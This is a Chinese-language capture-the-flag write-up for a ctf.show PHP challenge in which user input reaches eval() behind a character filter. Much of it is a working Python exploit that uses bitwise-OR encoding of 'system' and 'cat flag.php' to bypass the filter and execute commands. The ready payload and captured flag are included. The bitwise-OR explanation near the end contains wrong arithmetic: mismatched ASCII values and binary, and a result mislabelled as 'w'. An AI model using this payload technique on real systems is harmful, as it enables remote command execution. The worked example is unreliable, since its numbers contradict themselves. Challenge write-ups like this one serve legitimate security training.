题目介绍:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
题目分析:
题目首先接收一个POST请求中名为’c’的参数,然后进行过滤,若未被过滤则执行 eval(“echo($c);”);
对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、“^”、“+”、“~”、“$”、“[”、“]”、“{”、“}”、“&” 或 “-”,并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。
思路如下:
- 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
- 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
- 使用POST请求发送c,获取flag
payload脚本:
import re
import urllib
from urllib import parse
import requests
# 初始化一个列表来存储编码后的字符信息
contents = []
# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):
for j in range(256):
# 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
# 编译一个正则表达式,用于检测需要特殊处理的字符
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
# 如果当前字符是需要特殊处理的字符,则跳过本次循环
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
# 否则,将字符转换为百分号编码格式(如:'%20'代表空格)
a = '%' + hex_i
b = '%' + hex_j
# 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符
c = chr(int(a[1:], 16) | int(b[1:], 16))
# 只保留ASCII码在32到126之间的字符(即可打印字符)
if 32 <= ord(c) <= 126:
contents.append([c, a, b]) # 将字符、其百分号编码形式以及备用编码形式添加到列表中
# 定义一个函数,用于生成payload
def make_payload(cmd):
payload1 = '' # 初始化第一个payload字符串
payload2 = '' # 初始化第二个payload字符串
# 遍历给定命令的每一个字符
for char in cmd:
# 在contents列表中查找与当前字符匹配的项
for item in contents:
if char == item[0]: # 如果找到了匹配的项
payload1 += item[1] # 添加其百分号编码形式到payload1
payload2 += item[2] # 添加其备用编码形式到payload2
break # 找到匹配项后跳出循环
# 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围
return '("' + payload1 + '"|"' + payload2 + '")'
# 获取用户输入的URL
URL = input('url:')
# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')
# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)
# 输出服务器的响应文本
print(response.text)
脚本解释:
直接输入题目的URL就完事!
以下是脚本的逐部分解释:
循环和正则表达式:
- 脚本首先创建一个空列表
contents
来存储编码后的字符。 - 接下来,它遍历所有可能的十六进制值(从
00
到ff
),并检查每个对应的ASCII字符是否包含在预定义的正则表达式中。如果字符包含在内,脚本会跳过它;否则,它会继续处理。 - 对于通过过滤的字符,脚本会将其转换为百分号编码格式(例如,
%20
代表空格),然后计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符。
- 脚本首先创建一个空列表
构造payload:
make_payload
函数接收一个字符串作为参数,遍历contents
列表中的每一项,寻找与字符串中字符匹配的项。当找到匹配项时,它会将相应的十六进制编码添加到payload1
和payload2
中。- 这两个payload最终被组合成一个字符串,其中包含原始的和备份的十六进制编码,用以尝试绕过可能的过滤机制。
发送请求:
- 用户输入目标URL。
- 使用
make_payload
函数两次,一次为'system'
,一次为'cat flag.php'
,然后将这两个payload连接起来。 - 最后,使用
requests
库向指定URL发送POST请求,数据中包含编码后的payload。 - 请求的响应文本会被输出到控制台。
payload:
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
payload解释:
穷举字符:首先,通过脚本来穷举ASCII码表中的所有字符,找出那些没有被正则表达式过滤掉的字符。
位运算组合:对于每一对未被过滤的字符,使用
|
运算符进行按位或运算。由于这些字符的ASCII码值是已知的,通过位运算可以生成新的ASCII码值。生成新字符:新生成的ASCII码值可以转换为对应的字符。如果这个新字符的ASCII码值在可见字符范围内(通常是32到126),那么它就可以作为攻击载荷的一部分。
构造攻击载荷:通过选择适当的未过滤字符对和适当的位运算,可以构造出任何需要的字符,包括空格、括号等,这些字符在正则表达式中可能被过滤掉了。
移位运算:
位运算符 |
是一个按位或运算符,它对两个位模式进行逐位比较,如果任一位为1,则结果位也为1。在PHP中,位运算符可以用于整数,也可以用于字符,因为字符在内部也是以ASCII码的整数形式表示的。
位运算符 |
被用来组合两个未被正则表达式过滤的字符,以生成一个新的字符。
例如,假设我们有两个未被过滤的字符,其ASCII码分别是 i
(97) 和 j
(106)。它们的二进制表示分别是:
i
: 01100101j
: 01101010
如果我们对这两个字符进行按位或运算:
01100101 (i)
| 01101010 (j)
-----------
01101111
结果 01101111
对应的ASCII码是 119
,即字符 w
。这样,即使正则表达式不允许直接使用 w
,我们仍然可以通过位运算构造出它。
在攻击中,这种技术可以用来绕过输入过滤,构造出攻击者需要的任何字符,包括空格和特殊字符,从而形成有效的攻击载荷。
flag:
flag="ctfshow{6155d254-dd1f-43d4-a85d-0ecbf472eaf6}
实在精彩,大佬牛逼!!!!